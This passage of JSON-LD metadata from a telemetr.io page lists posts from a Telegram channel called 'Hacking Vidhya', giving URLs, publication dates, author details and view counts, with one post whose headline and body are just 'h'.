Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":26}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/3","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/3","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/3","headline":"h","articleBody":"h","datePublished":"2025-08-09T13:52:38Z","dateModified":"2025-08-09T13:52:38Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":23}]}}]}